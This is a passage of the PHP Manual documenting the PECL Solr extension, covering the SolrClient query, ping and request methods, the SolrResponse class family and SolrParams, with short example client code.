Throws SolrServerException if the Solr Server had failed to process the request.

Notes

Warning

PECL Solr >= 2.0 only supports Solr Server >= 4.0

Prior to PECL Solr 2.0 this method used to accept these arguments "int $maxSegments, bool $waitFlush, bool $waitSearcher".

See Also

  • SolrClient::commit() - Finalizes all add/deletes made to the index
  • SolrClient::rollback() - Rollbacks all add/deletes made to the index since the last commit

User Contributed Notes

There are no user contributed notes for this page.


Checks if Solr server is still up

  • « SolrClient::optimize
  • SolrClient::query »
  • PHP Manual
  • SolrClient
  • Checks if Solr server is still up

SolrClient::ping

(PECL solr >= 0.9.2)

SolrClient::ping — Checks if Solr server is still up

Description

public SolrPingResponse SolrClient::ping ( void )

Checks if the Solr server is still alive. Sends a HEAD request to the Apache Solr server.

Parameters

This function has no parameters.

Return Values

Returns a SolrPingResponse object on success and throws an exception on failure.

Errors/Exceptions

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to satisfy the request.

Examples

Example #1 SolrClient::ping() example

<?php
$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$pingresponse = $client->ping();

?>

The above example will output something similar to:

User Contributed Notes

There are no user contributed notes for this page.


Sends a query to the server

  • « SolrClient::ping
  • SolrClient::request »
  • PHP Manual
  • SolrClient
  • Sends a query to the server

SolrClient::query

(PECL solr >= 0.9.2)

SolrClient::query — Sends a query to the server

Description

public SolrQueryResponse SolrClient::query ( SolrParams $query )

Sends a query to the server.

Parameters

query

A SolrParams object. It is recommended to use SolrQuery for advanced queries.

Return Values

Returns a SolrQueryResponse object on success and throws an exception on failure.

Errors/Exceptions

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to satisfy the query.

Examples

Example #1 SolrClient::query() example

<?php

$options = array
(
    'hostname' => 'localhost',
    'login'    => 'username',
    'password' => 'password',
    'port'     => '8983',
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response);

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 3
            [params] => SolrObject Object
                (
                    [fl] => cat,features,id,timestamp
                    [indent] => on
                    [start] => 0
                    [q] => lucene
                    [wt] => xml
                    [version] => 2.2
                    [rows] => 50
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 1
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [id] => SOLR1000
                            [cat] => Array
                                (
                                    [0] => software
                                    [1] => search
                                )

                            [features] => Array
                                (
                                    [0] => Advanced Full-Text Search Capabilities using Lucene
                                    [1] => Optimized for High Volume Web Traffic
                                    [2] => Standards Based Open Interfaces - XML and HTTP
                                    [3] => Comprehensive HTML Administration Interfaces
                                    [4] => Scalability - Efficient Replication to other Solr Search Servers
                                    [5] => Flexible and Adaptable with XML configuration and Schema
                                    [6] => Good unicode support: héllo (hello with an accent over the e)
                                )

                        )

                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.


Sends a raw update request

  • « SolrClient::query
  • SolrClient::rollback »
  • PHP Manual
  • SolrClient
  • Sends a raw update request

SolrClient::request

(PECL solr >= 0.9.2)

SolrClient::request — Sends a raw update request

Description

public void SolrClient::request ( string $raw_request )

Sends a raw XML update request to the server

Parameters

raw_request

An XML string with the raw request to the server.

Return Values

Returns a SolrUpdateResponse on success. Throws an exception on failure.

Errors/Exceptions

Throws SolrIllegalArgumentException if raw_request was an empty string

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to satisfy the query.

Examples

Example #1 SolrClient::request() example

<?php
$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$update_response = $client->request("<commit/>");

$response = $update_response->getResponse();

print_r($response);
?>

The above example will output something similar to:

...

User Contributed Notes

There are no user contributed notes for this page.


Rollbacks all add/deletes made to the index since the last commit

  • « SolrClient::request
  • SolrClient::setResponseWriter »
  • PHP Manual
  • SolrClient
  • Rollbacks all add/deletes made to the index since the last commit

SolrClient::rollback

(PECL solr >= 0.9.2)

SolrClient::rollback — Rollbacks all add/deletes made to the index since the last commit

Description

public SolrUpdateResponse SolrClient::rollback ( void )

Rollbacks all add/deletes made to the index since the last commit. It neither calls any event listeners nor creates a new searcher.

Parameters

This function has no parameters.

Return Values

Returns a SolrUpdateResponse on success or throws a SolrClientException on failure.

See Also

  • SolrClient::commit() - Finalizes all add/deletes made to the index
  • SolrClient::optimize() - Defragments the index

User Contributed Notes

There are no user contributed notes for this page.


Sets the response writer used to prepare the response from Solr

  • « SolrClient::rollback
  • SolrClient::setServlet »
  • PHP Manual
  • SolrClient
  • Sets the response writer used to prepare the response from Solr

SolrClient::setResponseWriter

(PECL solr >= 0.9.11)

SolrClient::setResponseWriter — Sets the response writer used to prepare the response from Solr

Description

public void SolrClient::setResponseWriter ( string $responseWriter )

Sets the response writer used to prepare the response from Solr

Parameters

responseWriter

One of the following :

- xml
 - phpnative

Return Values

No value is returned.

Examples

Example #1 SolrClient::setResponseWriter() example

<?php

// This is my custom class for objects
class SolrClass
{
   public $_properties = array();

   public function __get($property_name) {

      if (property_exists($this, $property_name)) {

          return $this->$property_name;

      } else if (isset($_properties[$property_name])) {

          return $_properties[$property_name];
      }

      return null;
   }
}

$options = array
(
  'hostname' => 'localhost',
  'port' => 8983,
  'path' => '/solr/core1'
);

$client = new SolrClient($options);

// This uses the org.apache.solr.request.PHPNativeResponseWriter class on Solr
// Visit the following pages for more details
// https://issues.apache.org/jira/browse/SOLR-1967
// http://wiki.apache.org/solr/QueryResponseWriter
// http://wiki.apache.org/solr/SolPHP
$client->setResponseWriter("phpnative");

//$response = $client->ping();

$query = new SolrQuery();

$query->setQuery("*:*");

$query->set("objectClassName", "SolrClass");

$query->set("objectPropertiesStorageMode", 1); // 0 for independent properties, 1 for combined

try
{

$response = $client->query($query);

$resp = $response->getResponse();

print_r($response);

print_r($resp);

} catch (Exception $e) {

print_r($e);

}

?>

The above example will output something similar to:

User Contributed Notes

There are no user contributed notes for this page.


Changes the specified servlet type to a new value

  • « SolrClient::setResponseWriter
  • SolrClient::threads »
  • PHP Manual
  • SolrClient
  • Changes the specified servlet type to a new value

SolrClient::setServlet

(PECL solr >= 0.9.2)

SolrClient::setServlet — Changes the specified servlet type to a new value

Description

public bool SolrClient::setServlet ( int $type , string $value )

Changes the specified servlet type to a new value

Parameters

type

One of the following :

- SolrClient::SEARCH_SERVLET_TYPE
 - SolrClient::UPDATE_SERVLET_TYPE
 - SolrClient::THREADS_SERVLET_TYPE
 - SolrClient::PING_SERVLET_TYPE
 - SolrClient::TERMS_SERVLET_TYPE

value

The new value for the servlet

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Checks the threads status

  • « SolrClient::setServlet
  • SolrResponse »
  • PHP Manual
  • SolrClient
  • Checks the threads status

SolrClient::threads

(PECL solr >= 0.9.2)

SolrClient::threads — Checks the threads status

Description

public void SolrClient::threads ( void )

Checks the threads status

Parameters

This function has no parameters.

Return Values

Returns a SolrGenericResponse object.

Errors/Exceptions

Throws SolrClientException if the client failed, or there was a connection issue.

throws SolrServerException if the Solr Server failed to process the request.

User Contributed Notes

There are no user contributed notes for this page.


The SolrResponse class

(PECL solr >= 0.9.2)

Introduction

Represents a response from the Solr server.

Class synopsis

abstract SolrResponse {
/* Constants */
const integer PARSE_SOLR_OBJ = 0 ;
const integer PARSE_SOLR_DOC = 1 ;
/* Properties */
protected integer $http_status ;
protected integer $parser_mode ;
protected bool $success ;
protected string $http_status_message ;
protected string $http_request_url ;
protected string $http_raw_request_headers ;
protected string $http_raw_request ;
protected string $http_raw_response_headers ;
protected string $http_raw_response ;
protected string $http_digested_response ;
/* Methods */
public string getDigestedResponse ( void )
public int getHttpStatus ( void )
public string getHttpStatusMessage ( void )
public string getRawRequest ( void )
public string getRawRequestHeaders ( void )
public string getRawResponse ( void )
public string getRawResponseHeaders ( void )
public string getRequestUrl ( void )
public SolrObject getResponse ( void )
public bool setParseMode ([ int $parser_mode = 0 ] )
public bool success ( void )
}

Properties

http_status

The http status of the response.

parser_mode

Whether to parse the solr documents as SolrObject or SolrDocument instances.

success

Was there an error during the request

http_status_message

Detailed message on http status

http_request_url

The request URL

http_raw_request_headers

A string of raw headers sent during the request.

http_raw_request

The raw request sent to the server

http_raw_response_headers

Response headers from the Solr server.

http_raw_response

The response message from the server.

http_digested_response

The response in PHP serialized format.

Predefined Constants

SolrResponse Class Constants

SolrResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrResponse::getDigestedResponse — Returns the XML response as serialized PHP data
  • SolrResponse::getHttpStatus — Returns the HTTP status of the response
  • SolrResponse::getHttpStatusMessage — Returns more details on the HTTP status
  • SolrResponse::getRawRequest — Returns the raw request sent to the Solr server
  • SolrResponse::getRawRequestHeaders — Returns the raw request headers sent to the Solr server
  • SolrResponse::getRawResponse — Returns the raw response from the server
  • SolrResponse::getRawResponseHeaders — Returns the raw response headers from the server
  • SolrResponse::getRequestUrl — Returns the full URL the request was sent to
  • SolrResponse::getResponse — Returns a SolrObject representing the XML response from the server
  • SolrResponse::setParseMode — Sets the parse mode
  • SolrResponse::success — Was the request a success

User Contributed Notes

There are no user contributed notes for this page.


Returns the XML response as serialized PHP data

  • « SolrResponse
  • SolrResponse::getHttpStatus »
  • PHP Manual
  • SolrResponse
  • Returns the XML response as serialized PHP data

SolrResponse::getDigestedResponse

(PECL solr >= 0.9.2)

SolrResponse::getDigestedResponse — Returns the XML response as serialized PHP data

Description

public string SolrResponse::getDigestedResponse ( void )

Returns the XML response as serialized PHP data

Parameters

This function has no parameters.

Return Values

Returns the XML response as serialized PHP data

User Contributed Notes

There are no user contributed notes for this page.


Returns the HTTP status of the response

  • « SolrResponse::getDigestedResponse
  • SolrResponse::getHttpStatusMessage »
  • PHP Manual
  • SolrResponse
  • Returns the HTTP status of the response

SolrResponse::getHttpStatus

(PECL solr >= 0.9.2)

SolrResponse::getHttpStatus — Returns the HTTP status of the response

Description

public int SolrResponse::getHttpStatus ( void )

Returns the HTTP status of the response.

Parameters

This function has no parameters.

Return Values

Returns the HTTP status of the response.

User Contributed Notes

There are no user contributed notes for this page.


Returns more details on the HTTP status

  • « SolrResponse::getHttpStatus
  • SolrResponse::getRawRequest »
  • PHP Manual
  • SolrResponse
  • Returns more details on the HTTP status

SolrResponse::getHttpStatusMessage

(PECL solr >= 0.9.2)

SolrResponse::getHttpStatusMessage — Returns more details on the HTTP status

Description

public string SolrResponse::getHttpStatusMessage ( void )

Returns more details on the HTTP status.

Parameters

This function has no parameters.

Return Values

Returns more details on the HTTP status

User Contributed Notes

There are no user contributed notes for this page.


Returns the raw request sent to the Solr server

  • « SolrResponse::getHttpStatusMessage
  • SolrResponse::getRawRequestHeaders »
  • PHP Manual
  • SolrResponse
  • Returns the raw request sent to the Solr server

SolrResponse::getRawRequest

(PECL solr >= 0.9.2)

SolrResponse::getRawRequest — Returns the raw request sent to the Solr server

Description

public string SolrResponse::getRawRequest ( void )

Returns the raw request sent to the Solr server.

Parameters

This function has no parameters.

Return Values

Returns the raw request sent to the Solr server

User Contributed Notes

There are no user contributed notes for this page.


Returns the raw request headers sent to the Solr server

  • « SolrResponse::getRawRequest
  • SolrResponse::getRawResponse »
  • PHP Manual
  • SolrResponse
  • Returns the raw request headers sent to the Solr server

SolrResponse::getRawRequestHeaders

(PECL solr >= 0.9.2)

SolrResponse::getRawRequestHeaders — Returns the raw request headers sent to the Solr server

Description

public string SolrResponse::getRawRequestHeaders ( void )

Returns the raw request headers sent to the Solr server.

Parameters

This function has no parameters.

Return Values

Returns the raw request headers sent to the Solr server

User Contributed Notes

There are no user contributed notes for this page.


Returns the raw response from the server

  • « SolrResponse::getRawRequestHeaders
  • SolrResponse::getRawResponseHeaders »
  • PHP Manual
  • SolrResponse
  • Returns the raw response from the server

SolrResponse::getRawResponse

(PECL solr >= 0.9.2)

SolrResponse::getRawResponse — Returns the raw response from the server

Description

public string SolrResponse::getRawResponse ( void )

Returns the raw response from the server.

Parameters

This function has no parameters.

Return Values

Returns the raw response from the server.

User Contributed Notes

There are no user contributed notes for this page.


Returns the raw response headers from the server

  • « SolrResponse::getRawResponse
  • SolrResponse::getRequestUrl »
  • PHP Manual
  • SolrResponse
  • Returns the raw response headers from the server

SolrResponse::getRawResponseHeaders

(PECL solr >= 0.9.2)

SolrResponse::getRawResponseHeaders — Returns the raw response headers from the server

Description

public string SolrResponse::getRawResponseHeaders ( void )

Returns the raw response headers from the server.

Parameters

This function has no parameters.

Return Values

Returns the raw response headers from the server.

User Contributed Notes

There are no user contributed notes for this page.


Returns the full URL the request was sent to

  • « SolrResponse::getRawResponseHeaders
  • SolrResponse::getResponse »
  • PHP Manual
  • SolrResponse
  • Returns the full URL the request was sent to

SolrResponse::getRequestUrl

(PECL solr >= 0.9.2)

SolrResponse::getRequestUrl — Returns the full URL the request was sent to

Description

public string SolrResponse::getRequestUrl ( void )

Returns the full URL the request was sent to.

Parameters

This function has no parameters.

Return Values

Returns the full URL the request was sent to

User Contributed Notes

There are no user contributed notes for this page.


Returns a SolrObject representing the XML response from the server

  • « SolrResponse::getRequestUrl
  • SolrResponse::setParseMode »
  • PHP Manual
  • SolrResponse
  • Returns a SolrObject representing the XML response from the server

SolrResponse::getResponse

(PECL solr >= 0.9.2)

SolrResponse::getResponse — Returns a SolrObject representing the XML response from the server

Description

public SolrObject SolrResponse::getResponse ( void )

Returns a SolrObject representing the XML response from the server.

Parameters

This function has no parameters.

Return Values

Returns a SolrObject representing the XML response from the server

User Contributed Notes

There are no user contributed notes for this page.


Sets the parse mode

  • « SolrResponse::getResponse
  • SolrResponse::success »
  • PHP Manual
  • SolrResponse
  • Sets the parse mode

SolrResponse::setParseMode

(PECL solr >= 0.9.2)

SolrResponse::setParseMode — Sets the parse mode

Description

public bool SolrResponse::setParseMode ([ int $parser_mode = 0 ] )

Sets the parse mode.

Parameters

parser_mode

SolrResponse::PARSE_SOLR_DOC parses documents in SolrDocument instances. SolrResponse::PARSE_SOLR_OBJ parses document into SolrObjects.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Was the request a success

  • « SolrResponse::setParseMode
  • SolrQueryResponse »
  • PHP Manual
  • SolrResponse
  • Was the request a success

SolrResponse::success

(PECL solr >= 0.9.2)

SolrResponse::success — Was the request a success

Description

public bool SolrResponse::success ( void )

Used to check if the request to the server was successful.

Parameters

This function has no parameters.

Return Values

Returns TRUE if it was successful and FALSE if it was not.

User Contributed Notes

There are no user contributed notes for this page.


The SolrQueryResponse class

(PECL solr >= 0.9.2)

Introduction

Represents a response to a query request.

Class synopsis

final SolrQueryResponse extends SolrResponse {
/* Constants */
const integer PARSE_SOLR_OBJ = 0 ;
const integer PARSE_SOLR_DOC = 1 ;
/* Inherited properties */
const integer SolrResponse::PARSE_SOLR_OBJ = 0 ;
const integer SolrResponse::PARSE_SOLR_DOC = 1 ;
protected integer $http_status ;
protected integer $parser_mode ;
protected bool $success ;
protected string $http_status_message ;
protected string $http_request_url ;
protected string $http_raw_request_headers ;
protected string $http_raw_request ;
protected string $http_raw_response_headers ;
protected string $http_raw_response ;
protected string $http_digested_response ;
/* Methods */
public __construct ( void )
public void __destruct ( void )
/* Inherited methods */
public string SolrResponse::getDigestedResponse ( void )
public int SolrResponse::getHttpStatus ( void )
public string SolrResponse::getHttpStatusMessage ( void )
public string SolrResponse::getRawRequest ( void )
public string SolrResponse::getRawRequestHeaders ( void )
public string SolrResponse::getRawResponse ( void )
public string SolrResponse::getRawResponseHeaders ( void )
public string SolrResponse::getRequestUrl ( void )
public SolrObject SolrResponse::getResponse ( void )
public bool SolrResponse::setParseMode ([ int $parser_mode = 0 ] )
public bool SolrResponse::success ( void )
}

Predefined Constants

SolrQueryResponse Class constants

SolrQueryResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrQueryResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrQueryResponse::__construct — Constructor
  • SolrQueryResponse::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • « SolrQueryResponse
  • SolrQueryResponse::__destruct »
  • PHP Manual
  • SolrQueryResponse
  • Constructor

SolrQueryResponse::__construct

(PECL solr >= 0.9.2)

SolrQueryResponse::__construct — Constructor

Description

public SolrQueryResponse::__construct ( void )

Constructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • « SolrQueryResponse::__construct
  • SolrUpdateResponse »
  • PHP Manual
  • SolrQueryResponse
  • Destructor

SolrQueryResponse::__destruct

(PECL solr >= 0.9.2)

SolrQueryResponse::__destruct — Destructor

Description

public void SolrQueryResponse::__destruct ( void )

Destructor.

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.


The SolrUpdateResponse class

(PECL solr >= 0.9.2)

Introduction

Represents a response to an update request.

Class synopsis

final SolrUpdateResponse extends SolrResponse {
/* Constants */
const integer PARSE_SOLR_OBJ = 0 ;
const integer PARSE_SOLR_DOC = 1 ;
/* Inherited properties */
const integer SolrResponse::PARSE_SOLR_OBJ = 0 ;
const integer SolrResponse::PARSE_SOLR_DOC = 1 ;
protected integer $http_status ;
protected integer $parser_mode ;
protected bool $success ;
protected string $http_status_message ;
protected string $http_request_url ;
protected string $http_raw_request_headers ;
protected string $http_raw_request ;
protected string $http_raw_response_headers ;
protected string $http_raw_response ;
protected string $http_digested_response ;
/* Methods */
public __construct ( void )
public void __destruct ( void )
/* Inherited methods */
public string SolrResponse::getDigestedResponse ( void )
public int SolrResponse::getHttpStatus ( void )
public string SolrResponse::getHttpStatusMessage ( void )
public string SolrResponse::getRawRequest ( void )
public string SolrResponse::getRawRequestHeaders ( void )
public string SolrResponse::getRawResponse ( void )
public string SolrResponse::getRawResponseHeaders ( void )
public string SolrResponse::getRequestUrl ( void )
public SolrObject SolrResponse::getResponse ( void )
public bool SolrResponse::setParseMode ([ int $parser_mode = 0 ] )
public bool SolrResponse::success ( void )
}

Predefined Constants

SolrUpdateResponse Class Constants

SolrUpdateResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrUpdateResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrUpdateResponse::__construct — Constructor
  • SolrUpdateResponse::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • « SolrUpdateResponse
  • SolrUpdateResponse::__destruct »
  • PHP Manual
  • SolrUpdateResponse
  • Constructor

SolrUpdateResponse::__construct

(PECL solr >= 0.9.2)

SolrUpdateResponse::__construct — Constructor

Description

public SolrUpdateResponse::__construct ( void )

Constructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • « SolrUpdateResponse::__construct
  • SolrPingResponse »
  • PHP Manual
  • SolrUpdateResponse
  • Destructor

SolrUpdateResponse::__destruct

(PECL solr >= 0.9.2)

SolrUpdateResponse::__destruct — Destructor

Description

public void SolrUpdateResponse::__destruct ( void )

Destructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.


The SolrPingResponse class

(PECL solr >= 0.9.2)

Introduction

Represents a response to a ping request to the server

Class synopsis

final SolrPingResponse extends SolrResponse {
/* Constants */
const integer PARSE_SOLR_OBJ = 0 ;
const integer PARSE_SOLR_DOC = 1 ;
/* Properties */
/* Methods */
public __construct ( void )
public void __destruct ( void )
public string getResponse ( void )
/* Inherited methods */
public string SolrResponse::getDigestedResponse ( void )
public int SolrResponse::getHttpStatus ( void )
public string SolrResponse::getHttpStatusMessage ( void )
public string SolrResponse::getRawRequest ( void )
public string SolrResponse::getRawRequestHeaders ( void )
public string SolrResponse::getRawResponse ( void )
public string SolrResponse::getRawResponseHeaders ( void )
public string SolrResponse::getRequestUrl ( void )
public SolrObject SolrResponse::getResponse ( void )
public bool SolrResponse::setParseMode ([ int $parser_mode = 0 ] )
public bool SolrResponse::success ( void )
}

Properties

http_status

The http status of the response.

parser_mode

Whether to parse the solr documents as SolrObject or SolrDocument instances.

success

Was there an error during the request

http_status_message

Detailed message on http status

http_request_url

The request URL

http_raw_request_headers

A string of raw headers sent during the request

http_raw_request

The raw request sent to the server

http_raw_response_headers

Response headers from the Solr server

http_raw_response

The response message from the server

http_digested_response

The response in PHP serialized format.

Predefined Constants

SolrPingResponse Class Constants

SolrPingResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrPingResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrPingResponse::__construct — Constructor
  • SolrPingResponse::__destruct — Destructor
  • SolrPingResponse::getResponse — Returns the response from the server

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • « SolrPingResponse
  • SolrPingResponse::__destruct »
  • PHP Manual
  • SolrPingResponse
  • Constructor

SolrPingResponse::__construct

(PECL solr >= 0.9.2)

SolrPingResponse::__construct — Constructor

Description

public SolrPingResponse::__construct ( void )

Constructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • « SolrPingResponse::__construct
  • SolrPingResponse::getResponse »
  • PHP Manual
  • SolrPingResponse
  • Destructor

SolrPingResponse::__destruct

(PECL solr >= 0.9.2)

SolrPingResponse::__destruct — Destructor

Description

public void SolrPingResponse::__destruct ( void )

Destructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.


Returns the response from the server

  • « SolrPingResponse::__destruct
  • SolrGenericResponse »
  • PHP Manual
  • SolrPingResponse
  • Returns the response from the server

SolrPingResponse::getResponse

(PECL solr >= 0.9.2)

SolrPingResponse::getResponse — Returns the response from the server

Description

public string SolrPingResponse::getResponse ( void )

Returns the response from the server. This should be empty because the request as a HEAD request.

Parameters

This function has no parameters.

Return Values

Returns an empty string.

User Contributed Notes

There are no user contributed notes for this page.


The SolrGenericResponse class

(PECL solr >= 0.9.2)

Introduction

Represents a response from the solr server.

Class synopsis

final SolrGenericResponse extends SolrResponse {
/* Constants */
const integer PARSE_SOLR_OBJ = 0 ;
const integer PARSE_SOLR_DOC = 1 ;
/* Inherited properties */
const integer SolrResponse::PARSE_SOLR_OBJ = 0 ;
const integer SolrResponse::PARSE_SOLR_DOC = 1 ;
protected integer $http_status ;
protected integer $parser_mode ;
protected bool $success ;
protected string $http_status_message ;
protected string $http_request_url ;
protected string $http_raw_request_headers ;
protected string $http_raw_request ;
protected string $http_raw_response_headers ;
protected string $http_raw_response ;
protected string $http_digested_response ;
/* Methods */
public __construct ( void )
public void __destruct ( void )
/* Inherited methods */
public string SolrResponse::getDigestedResponse ( void )
public int SolrResponse::getHttpStatus ( void )
public string SolrResponse::getHttpStatusMessage ( void )
public string SolrResponse::getRawRequest ( void )
public string SolrResponse::getRawRequestHeaders ( void )
public string SolrResponse::getRawResponse ( void )
public string SolrResponse::getRawResponseHeaders ( void )
public string SolrResponse::getRequestUrl ( void )
public SolrObject SolrResponse::getResponse ( void )
public bool SolrResponse::setParseMode ([ int $parser_mode = 0 ] )
public bool SolrResponse::success ( void )
}

Predefined Constants

SolrGenericResponse Class constants

SolrGenericResponse::PARSE_SOLR_OBJ

Documents should be parsed as SolrObject instances

SolrGenericResponse::PARSE_SOLR_DOC

Documents should be parsed as SolrDocument instances.

Table of Contents

  • SolrGenericResponse::__construct — Constructor
  • SolrGenericResponse::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • « SolrGenericResponse
  • SolrGenericResponse::__destruct »
  • PHP Manual
  • SolrGenericResponse
  • Constructor

SolrGenericResponse::__construct

(PECL solr >= 0.9.2)

SolrGenericResponse::__construct — Constructor

Description

public SolrGenericResponse::__construct ( void )

Constructor

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • « SolrGenericResponse::__construct
  • SolrParams »
  • PHP Manual
  • SolrGenericResponse
  • Destructor

SolrGenericResponse::__destruct

(PECL solr >= 0.9.2)

SolrGenericResponse::__destruct — Destructor

Description

public void SolrGenericResponse::__destruct ( void )

Destructor.

Parameters

This function has no parameters.

Return Values

None

User Contributed Notes

There are no user contributed notes for this page.


The SolrParams class

(PECL solr >= 0.9.2)

Introduction

Represents a collection of name-value pairs sent to the Solr server during a request.

Class synopsis

abstract SolrParams implements Serializable {
/* Methods */
final public SolrParams add ( string $name , string $value )
public SolrParams addParam ( string $name , string $value )
final public mixed get ( string $param_name )
final public mixed getParam ([ string $param_name ] )
final public array getParams ( void )
final public array getPreparedParams ( void )
final public string serialize ( void )
final public void set ( string $name , string $value )
public SolrParams setParam ( string $name , string $value )
final public string toString ([ bool $url_encode = false ] )
final public void unserialize ( string $serialized )
}

Table of Contents

  • SolrParams::add — This is an alias for SolrParams::addParam
  • SolrParams::addParam — Adds a parameter to the object
  • SolrParams::get — This is an alias for SolrParams::getParam
  • SolrParams::getParam — Returns a parameter value
  • SolrParams::getParams — Returns an array of non URL-encoded parameters
  • SolrParams::getPreparedParams — Returns an array of URL-encoded parameters
  • SolrParams::serialize — Used for custom serialization
  • SolrParams::set — An alias of SolrParams::setParam
  • SolrParams::setParam — Sets the parameter to the specified value
  • SolrParams::toString — Returns all the name-value pair parameters in the object
  • SolrParams::unserialize — Used for custom serialization

User Contributed Notes

There are no user contributed notes for this page.


This is an alias for SolrParams::addParam

  • « SolrParams
  • SolrParams::addParam »
  • PHP Manual
  • SolrParams
  • This is an alias for SolrParams::addParam

SolrParams::add

(PECL solr >= 0.9.2)

SolrParams::add — This is an alias for SolrParams::addParam

Description

final public SolrParams SolrParams::add ( string $name , string $value )

This is an alias for SolrParams::addParam

Parameters

name

The name of the parameter

value

The value of the parameter

Return Values

Returns a SolrParams instance on success

User Contributed Notes

There are no user contributed notes for this page.


Adds a parameter to the object

  • « SolrParams::add
  • SolrParams::get »
  • PHP Manual
  • SolrParams
  • Adds a parameter to the object

SolrParams::addParam

(PECL solr >= 0.9.2)

SolrParams::addParam — Adds a parameter to the object

Description

public SolrParams SolrParams::addParam ( string $name , string $value )

Adds a parameter to the object. This is used for parameters that can be specified multiple times.

Parameters

name

Name of parameter

value

Value of parameter

Return Values

Returns a SolrParam object on success and FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


This is an alias for SolrParams::getParam

  • « SolrParams::addParam
  • SolrParams::getParam »
  • PHP Manual
  • SolrParams
  • This is an alias for SolrParams::getParam

SolrParams::get

(PECL solr >= 0.9.2)

SolrParams::get — This is an alias for SolrParams::getParam

Description

final public mixed SolrParams::get ( string $param_name )

This is an alias for SolrParams::getParam

Parameters

param_name

Then name of the parameter

Return Values

Returns an array or string depending on the type of parameter

User Contributed Notes

There are no user contributed notes for this page.


Returns a parameter value

  • « SolrParams::get
  • SolrParams::getParams »
  • PHP Manual
  • SolrParams
  • Returns a parameter value

SolrParams::getParam

(PECL solr >= 0.9.2)

SolrParams::getParam — Returns a parameter value

Description

final public mixed SolrParams::getParam ([ string $param_name ] )

Returns a parameter with name param_name

Parameters

param_name

The name of the parameter

Return Values

Returns a string or an array depending on the type of the parameter

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of non URL-encoded parameters

  • « SolrParams::getParam
  • SolrParams::getPreparedParams »
  • PHP Manual
  • SolrParams
  • Returns an array of non URL-encoded parameters

SolrParams::getParams

(PECL solr >= 0.9.2)

SolrParams::getParams — Returns an array of non URL-encoded parameters

Description

final public array SolrParams::getParams ( void )

Returns an array of non URL-encoded parameters

Parameters

This function has no parameters.

Return Values

Returns an array of non URL-encoded parameters

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of URL-encoded parameters

  • « SolrParams::getParams
  • SolrParams::serialize »
  • PHP Manual
  • SolrParams
  • Returns an array of URL-encoded parameters

SolrParams::getPreparedParams

(PECL solr >= 0.9.2)

SolrParams::getPreparedParams — Returns an array of URL-encoded parameters

Description

final public array SolrParams::getPreparedParams ( void )

Returns an array on URL-encoded parameters

Parameters

This function has no parameters.

Return Values

Returns an array on URL-encoded parameters

User Contributed Notes

There are no user contributed notes for this page.


Used for custom serialization

  • « SolrParams::getPreparedParams
  • SolrParams::set »
  • PHP Manual
  • SolrParams
  • Used for custom serialization

SolrParams::serialize

(PECL solr >= 0.9.2)

SolrParams::serialize — Used for custom serialization

Description

final public string SolrParams::serialize ( void )

Used for custom serialization

Parameters

This function has no parameters.

Return Values

Used for custom serialization

User Contributed Notes

There are no user contributed notes for this page.


An alias of SolrParams::setParam

  • « SolrParams::serialize
  • SolrParams::setParam »
  • PHP Manual
  • SolrParams
  • An alias of SolrParams::setParam

SolrParams::set

(PECL solr >= 0.9.2)

SolrParams::set — An alias of SolrParams::setParam

Description

final public void SolrParams::set ( string $name , string $value )

An alias of SolrParams::setParam

Parameters

name

Then name of the parameter

value

The parameter value

Return Values

Returns an instance of the SolrParams object on success

User Contributed Notes

There are no user contributed notes for this page.


Sets the parameter to the specified value

  • « SolrParams::set
  • SolrParams::toString »
  • PHP Manual
  • SolrParams
